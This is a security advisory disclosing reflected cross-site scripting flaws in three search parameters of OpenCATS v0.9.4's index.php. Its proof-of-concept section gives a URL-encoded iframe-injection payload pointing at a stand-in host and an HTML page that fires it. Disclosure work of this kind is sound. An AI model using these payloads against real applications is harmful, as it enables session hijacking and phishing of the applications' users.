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OpenCATS v0.9.4-3 - Multiple Cross Site Vulnerabilities

OpenCATS v0.9.4-3, Multiple Cross Site Vulnerabilities, Non-persistent XS

Code
Document Title:
===============
OpenCATS v0.9.4-3 - Multiple Cross Site Vulnerabilities


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2232


Release Date:
=============
2020-04-28


Vulnerability Laboratory ID (VL-ID):
====================================
2232


Common Vulnerability Scoring System:
====================================
4


Vulnerability Class:
====================
Cross Site Scripting - Non Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
The leading free & open applicant tracking system. OpenCATS is a Free and Open Source Candidate/Applicant 
Tracking System designed for Recruiters to manage recruiting process from job posting, candidate application, through 
to candidate selection and submission.

(Copy of the Homepage: http://www.opencats.org/  &  https://github.com/opencats/opencats )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple client-side xss web vulnerabilities in the OpenCATS v0.9.4 web-application.


Vulnerability Disclosure Timeline:
==================================
2020-04-29: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Pre Auth (No Privileges or Session)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Full Disclosure


Technical Details & Description:
================================
Multiple non-persistent cross site scripting vulnerabilities has been discovered in the official OpenCATS v0.9.4 web-application.
The vulnerability allows remote attackers to inject own malicious script codes with non-persistent attack vector to compromise 
browser to web-application requests from the client-side.

The cross site scripting vulnerabilities are located in the `quickSearchFor`, `advancedSearchParser` and `wildCardString` parameters 
of the  `index.php` files. The vulnerable modules are Search and Advanced Search. The request method to inject the malicious script 
code is GET and the attack vector of the vulnerability is non-persistent on client-side.

Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external 
redirects to malicious source and non-persistent manipulation of affected or connected application modules.

Request Method(s):
[+] GET

Vulnerable File(s):
[+] index.php

Vulnerable Parameter(s):
[+] quickSearchFor
[+] advancedSearchParser
[+] wildCardString


Proof of Concept (PoC):
=======================
The client-side cross site scripting web vulnerabilities can be exploited by remote attackers without user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


PoC: Payload
%3E%22%3E%3Ciframe+src%3Devil.source%3E%3Ciframe%3E%3C%2Fiframe%3E%3C%2Fiframe%3E


PoC: Exploitation
<html>
<head><body>
<title>OPENCATS XSS POC (Search & Advanced Search - Backend)</title>
<iframe src=https://opencats.localhost8000/index.php?m=home&a=quickSearch
&quickSearchFor=%3E%22%3E%3Ciframe+src%3Da%3E%3Ciframe%3E%3C%2Fiframe%3E%3C%2Fiframe%3E&quickSearch=Go>
<iframe src=https://opencats.localhost8000/index.php?m=candidates&a=search&getback=getback&mode=searchByResume
&wildCardString=%3E%22%3E%3Ciframe+src%3Devil.source%3E%3Ciframe%3E%3C%2Fiframe%3E%3C%2Fiframe%3E
&advancedSearchParser=%3E%22%3E%3Ciframe+src%3Devil.source%3E%3Ciframe%3E%3C%2Fiframe%3E%3C%2Fiframe%3E%5B%7C%5D&advancedSearchOn=1>
</body></head>
</html>


PoC: Vulnerable Source
<span id="advancedSearchField" style="display:block;"><br>Advanced search:<br><input type="text" id="searchValue0" 
value="%3E%22%3E%3Ciframe+src%3Devil.source%3E%3Ciframe%3E%3C%2Fiframe%3E%3C%2Fiframe%3E" 
value="%3E%22%3E%3Ciframe+src%3Devil.source%3E%3Ciframe%3E%3C%2Fiframe%3E%3C%2Fiframe%3E" onkeyup="data[0] = 
document.getElementById('searchValue'+0).value; advancedSearchSet(); "&gt;<select id="searchSelect0" 
onchange="setSearchNode(0);" style="width:120px;"><option value=""></option>


Reference(s):
https://opencats.localhost8000/index.php
https://opencats.localhost8000/index.php?m=home&a=quickSearch
https://opencats.localhost8000/index.php?m=candidates&a=search


Credits & Authors:
==================
Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


Disclaimer & Information:
=========================
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either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab 
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits 
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do 
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. 
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

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